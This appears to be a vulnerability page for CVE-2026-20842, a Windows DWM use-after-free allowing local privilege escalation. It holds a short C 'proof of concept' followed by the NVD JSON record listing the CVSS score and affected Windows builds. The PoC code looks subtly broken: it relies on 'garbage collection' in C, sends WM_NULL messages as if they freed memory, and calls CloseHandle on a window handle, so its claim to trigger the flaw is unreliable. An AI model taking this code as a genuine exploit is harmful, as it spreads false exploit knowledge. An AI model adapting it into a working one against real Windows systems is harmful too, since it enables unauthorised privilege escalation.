CVE-2026-20842

// CVE-2026-20842 PoC - Windows DWM Use After Free // This is a conceptual PoC for educational purposes only #include <windows.h> #include <winuser.h> #include <stdio.h> // Trigger DWM memory corruption through window messages void TriggerDWMUAF() { HWND hwnd = CreateWindowA("STATIC", "Target", WS_VISIBLE | WS_OVERLAPPEDWINDOW, 100, 100, 400, 300, NULL, NULL, NULL, NULL); // Send messages to trigger DWM processing for (int i = 0; i < 1000; i++) { SendMessage(hwnd, WM_PAINT, 0, 0); SendMessage(hwnd, WM_ERASEBKGND, 0, 0); SendMessage(hwnd, WM_SIZE, 0, 0); // Trigger DWM composition DwmSetWindowAttribute(hwnd, DWMWA_TRANSITIONS_FORCEDISABLED, &(BOOL){TRUE}, sizeof(BOOL)); DwmSetWindowAttribute(hwnd, DWMWA_TRANSITIONS_FORCEDISABLED, &(BOOL){FALSE}, sizeof(BOOL)); } // Force garbage collection to free memory for (int i = 0; i < 100; i++) { SendMessage(hwnd, 0x0000, 0, 0); // WM_NULL Sleep(10); } // Attempt to use freed memory InvalidateRect(hwnd, NULL, TRUE); UpdateWindow(hwnd); CloseHandle(hwnd); } int main() { printf("CVE-2026-20842 PoC - DWM UAF Trigger\n"); TriggerDWMUAF(); return 0; }

{"cve": {"id": "CVE-2026-20842", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:12.660", "lastModified": "2026-01-15T14:14:04.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows DWM allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Uso después de liberar en Windows DWM permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20842", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}